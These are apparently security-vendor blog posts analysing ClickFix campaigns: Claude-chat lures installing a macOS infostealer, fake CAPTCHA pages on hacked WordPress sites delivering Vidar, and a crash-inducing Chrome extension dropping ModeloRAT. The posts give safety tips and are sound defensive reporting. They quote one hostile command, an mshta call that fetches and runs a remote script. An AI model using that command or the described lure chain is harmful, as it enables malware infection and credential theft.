Researchers found that cybercriminals are using sponsored search results and shared Claude chats to lure victims into a typical ClickFix attack to install malware on macOS devices.
ClickFix is a social engineering method that tricks users into infecting their own device with malware. Users are instructed to run specific commands that will download malware, usually an infostealer.
The researchers found that when users search for terms like “Claude Mac download,” they may see sponsored Google results that appear to go to the legitimate claude.ai domain.
In reality, the ads resolve to real Claude shared chats, set up to look like official “Claude Code on Mac” or Apple Support guides. Independent research by BleepingComputer found another chat serving the same purpose. The chat instructs victims to open Terminal and paste a base64‑encoded command, which pulls a loader shell script from attacker‑controlled infrastructure and runs it in memory.
The script then profiles the system, pulls down a second-stage payload and runs it through osascript, macOS’s built-in scripting engine. This gives the attacker remote code execution (RCE) without ever dropping a traditional application or binary.
This results in a MacSync‑style payload that harvests browser credentials, cookies, Keychain contents, and crypto wallet data, bundles it, and sends all that information over HTTP to attacker servers.
With ClickFix running rampant and inventing new methods all the time, it’s important to stay aware, cautious, and protected.
Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy and paste code. Attackers rely on urgency to bypass your critical thinking, so be cautious of pages urging immediate action. Sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly.
Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand what the action does.
Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
Limit copy and paste for commands. Manually typing commands instead of copy and paste can reduce the risk of unknowingly running malicious payloads hidden in copied text.
Secure your devices. Use an up-to-date, real-time anti-malware solution with web protection. Malwarebytes blocks connections to unsafe sites like these.
Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected places helps maintain vigilance. Keep reading our blog!
Stay away from sponsored ads in search results. Anyone can buy them and make them look legitimate.
Pro tip: The free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard.
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In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.
Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.
One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.
What is Vidar?
Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:
Browser-stored usernames and passwords
Cryptocurrency wallet information
Session cookies and authentication tokens
Autofill data and saved payment information
Files that may contain sensitive data
Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.
Fake CAPTCHA: the never-ending story
When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.
This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.
The fake CAPTCHA message shown to the user.
The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:
mshta https://{compromised website}/challenge/cf
Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.
In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.
HTA-based MSI dropper
The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.
The script performs several operations:
The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
The script terminates if the document.location.href doesn’t start with http.
The strings are decoded using XOR and a random key.
Through WMI queries, the script checks for installed antivirus products.
It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.
The malicious HTA script.
In this case, the malicious MSI was downloaded using the following command:
The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.
Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.
In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.
The custom action defined in the MSI.
The Golang loader decodes a shellcode that performs different anti-analysis checks, including:
CheckRemoteDebuggerPresent
IsDebuggerPresent
QueryPerformanceCounter
GetTickCount
After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.
Analysis of compromised websites
The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.
The malicious iframe injected into the compromised website.
The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.
Code injected into the compromised websites.
Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.
The injected script performs several actions:
Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.
The malicious code injected in the compromised WordPress site.
How to stay safe
Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.
Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.
Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.
Researchers have found another method used in the spirit of ClickFix: CrashFix.
ClickFix campaigns use convincing lures—historically “Human Verification” screens—to trick the user into pasting a command from the clipboard. After fake Windows update screens, video tutorials for Mac users, and many other variants, attackers have now introduced a browser extension that crashes your browser on purpose.
Researchers found a rip-off of a well-known ad blocker and managed to get it into the official Chrome Web Store under the name “NexShield – Advanced Web Protection.” Strictly speaking, crashing the browser does provide some level of protection, but it’s not what users are typically looking for.
If users install the browser extension, it phones home to nexsnield[.]com (note the misspelling) to track installs, updates, and uninstalls. The extension uses Chrome’s built-in Alarms API (application programming interface) to wait 60 minutes before starting its malicious behavior. This delay makes it less likely that users will immediately connect the dots between the installation and the following crash.
After that pause, the extension starts a denial-of-service loop that repeatedly opens chrome.runtime port connections, exhausting the device’s resources until the browser becomes unresponsive and crashes.
After restarting the browser, users see a pop-up telling them the browser stopped abnormally—which is true but not unexpected— and offering instructions on how to prevent it from happening in the future.
It presents the user with the now classic instructions to open Win+R, press Ctrl+V, and hit Enter to “fix” the problem. This is the typical ClickFix behavior. The extension has already placed a malicious PowerShell or cmd command on the clipboard. By following the instructions, the user executes that malicious command and effetively infects their own computer.
Based on fingerprinting checks to see whether the device is domain-joined, there are currently two possible outcomes.
If the machine is joined to a domain, it is treated as a corporate device and infected with a Python remote access trojan (RAT) dubbed ModeloRAT. On non-domain-joined machines, the payload is currently unknown as the researchers received only a “TEST PAYLOAD!!!!” response. This could imply ongoing development or other fingerprinting which made the test machine unsuitable.
How to stay safe
The extension was no longer available in the Chrome Web Store at the time of writing, but it will undoubtedly resurface with an other name. So here are a few tips to stay safe:
If you’re looking for an ad blocker or other useful browser extensions, make sure you are installing the real deal. Cybercriminals love to impersonate trusted software.
Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
Secure your devices. Use an up-to-date real-time anti-malware solution with a web protection component.
Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!
Pro tip: the free Malwarebytes Browser Guard extension is a very effective ad blocker and protects you from malicious websites. It also warns you when a website copies something to your clipboard and adds a small snippet to render any commands useless.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
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